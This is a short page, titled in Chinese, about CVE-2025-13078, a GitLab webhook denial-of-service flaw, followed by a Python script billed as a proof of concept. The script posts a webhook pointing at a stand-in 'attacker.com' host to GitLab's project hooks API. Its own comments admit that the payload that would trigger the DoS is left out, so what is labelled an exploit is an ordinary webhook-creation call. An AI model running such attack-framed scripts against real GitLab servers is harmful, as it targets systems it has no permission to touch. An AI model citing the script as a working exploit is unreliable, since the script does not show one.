CVE-2025-13078 GitLab Webhook资源耗尽DoS漏洞

import requests # Exploit Title: GitLab CVE-2025-13078 PoC (Resource Consumption) # Description: Sends a malicious webhook configuration to trigger DoS. # Note: The specific payload structure causing the DoS is not disclosed here. # This script demonstrates the API endpoint usage. TARGET_URL = "https://gitlab.example.com" PRIVATE_TOKEN = "your_access_token" PROJECT_ID = "1" # Malicious configuration placeholder # Attackers would craft specific input here to trigger high resource usage. malicious_payload = { "url": "http://attacker.com/webhook", "push_events": True, "issues_events": True, # Additional fields might be required to trigger the vulnerability } headers = {"PRIVATE-TOKEN": PRIVATE_TOKEN} print(f"[+] Sending malicious webhook configuration to {TARGET_URL}...") try: response = requests.post( f"{TARGET_URL}/api/v4/projects/{PROJECT_ID}/hooks", json=malicious_payload, headers=headers ) if response.status_code == 201: print("[+] Webhook created. Server may experience high load.") else: print(f"[-] Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")